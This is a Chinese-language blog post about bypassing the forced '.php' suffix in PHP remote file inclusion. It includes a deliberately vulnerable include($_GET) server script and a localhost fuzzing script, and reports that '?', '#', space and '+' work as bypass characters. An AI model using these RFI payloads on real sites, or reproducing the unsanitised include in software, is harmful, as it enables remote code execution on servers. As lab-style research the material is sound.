PHP RFI 的小tip

有关PHP include的帖子网上已经很多了,wooyun的知识库里面也有一篇总结的很好的文章,传送门:http://drops.wooyun.org/tips/3827,今晚在看书的时候看到RFI绕过包含,总结常用的技巧有:%00截断,利用系统对目录最大长度的限制绕过,使用?绕过。但是前两种方法在PHP>5.3之后就没用了,唯独剩下?绕过可用。

于是乎想到的问题是:除了使用?,还有其他可用的方式没有。

针对这个问题,想到的答案是,如果有,那应该也是存在于一些特殊或不常用的字符里。

开始动手做实验:

服务端:

1 <?php
2 echo "包含的文件是:".$_GET['a'].".php";
3 include($_GET['a'].".php");
4 ?>

测试脚本:

 1 <!DOCTYPE html>
 2 <html lang="en">
 3 <head>
 4     <meta charset="UTF-8">
 5     <title>RFI Test</title>
 6     <script src="./libs/jquery.js"></script>
 7 </head>
 8 <body>
 9     可成功包含的字符:
10     <div id="can">
11         
12     </div>
13     <script>
14     var reg="phpinfo()";    
15     for(var i=0x00;i<=0x40;i++)
16     {
17         var uri="http://127.0.0.1:81/mycode/include.php?a=http://127.0.0.1:81/mycode/1.txt%"+i.toString(16)
18         $.ajax({
19             "url":uri,
20             "type":"GET",
21             "async":false,
22             "success":function(data){
23                 if(data.indexOf("phpinfo()")>0)
24                 {
25                     $("#can").append(uri+"<br>");
26                 }
27             },
28         })
29     }
30     </script>
31 </body>
32 </html>

运行结果:

其中%23 和%3f在乌云的那篇总结帖里面已经有了,就是利用"#"和"?"绕过,但是还有空格也能绕过,和空格有等效作用的就是"+"了。

如图:

 

posted @ 2016-04-19 21:46  不断学习中的小菜鸟  阅读(602)  评论(0编辑  收藏  举报